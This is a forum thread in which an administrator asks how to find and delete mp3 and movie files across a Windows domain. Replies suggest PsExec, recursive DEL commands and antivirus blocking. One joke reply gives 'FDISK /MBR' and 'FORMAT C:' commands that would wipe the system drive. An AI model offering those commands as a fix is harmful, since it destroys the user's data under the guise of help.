How To Scan For and Remove Specific Files?

_Kaiser_

I've a Windows 2003 Domain and I'd like to be able to scan all the connected computers for specific files (mp3s, movies etc) and delete them automatically.

What would be the best way to do this? I do have Symantec AV 10.2/10.1.5 installed and was looking through it,but the only thing I can find is how to add threat exclusions, not incorporate new ones. Is this even possible?

Cheers!

eqwtegmtykultyk

Could you search for .mp3 etc, then delete those files?

_Kaiser_

I could, and so far have been doing just that but it's time consuming and often files are in use.

Ideally I'd use Symantec (or whatever equivalent) to scan for certain extensions as part of its regular sweep and delete them if found. Better again if it could prevent them being downloaded in the first place.

BaconZombie

TreeSize Pro is now off-hand.... You will still need to manually delete the files (using a Select All and Del)....

_Kaiser_

Is there a way to do it automatically though that anyone's aware of

Related.. what's the best freeware tool to delete files that report as being in use?

Screaming Monkey

Seen this done by an enterprising IT manager a few years ago, she used the following PsExec tool and some batch scripts to delete files and change users settings on the fly - http://www.microsoft.com/technet/sysinternals/Utilities/PsExec.mspx

There is a few other tools that might help you out there as well
http://www.microsoft.com/technet/sysinternals/utilitiesindex.mspx

BaconZombie

Screaming Monkey wrote: »

Seen this done by an enterprising IT manager a few years ago, she used the following PsExec tool and some batch scripts to delete files and change users settings on the fly - http://www.microsoft.com/technet/sysinternals/Utilities/PsExec.mspx

There is a few other tools that might help you out there as well
http://www.microsoft.com/technet/sysinternals/utilitiesindex.mspx

Try " FDISK /MBR " then " FORMAT C: /U /t:1 /n:1 /q /v:WTFZOMBIES "

Black Swan

Kaiser2000 wrote: »

Is there a way to do it automatically though that anyone's aware of

What about using DOS from the command prompt C:\WINDOWS\SYSTEM32> DEL *.mp3 /S /F /P

DEL = delete command
*.mp3 = using wildcards for all files having this extension
/S = parameter that will transverse your directory tree
/F = parameter that will force deletion of read-only files
/P = parameter the will prompt you before you delete a file*

If it were my system, I would probably set up some dummy files on a thumb drive and experiment before going to my main drive(s).

*You can exclude the /P parameter, but it might keep you from deleting something you want to keep?

liamo

Kaiser2000 wrote: »

Is there a way to do it automatically though that anyone's aware of

This site contains windows ports of some common unix commands.

The "find" command in unix is immensely powerful in the manner that you can describe the name and type of files to find and also includes the ability to optionally execute a command against each file found, eg delete.

Related.. what's the best freeware tool to delete files that report as being in use?

I would have thought that if a file is reported as being in use then it can't be deleted. Stop the application or process using the file and then delete it.

Regards,

Liam

Capt'n Midnight

most anti virus programs allow you to block files by extension simply add .mp3 to the list

it's also possible to remove them with a one liner, will try to dig it up ,
it uses FOR to walk through directories and RENAMES or DEL files with certain extensions.
I think move might also work if you want to quarantine them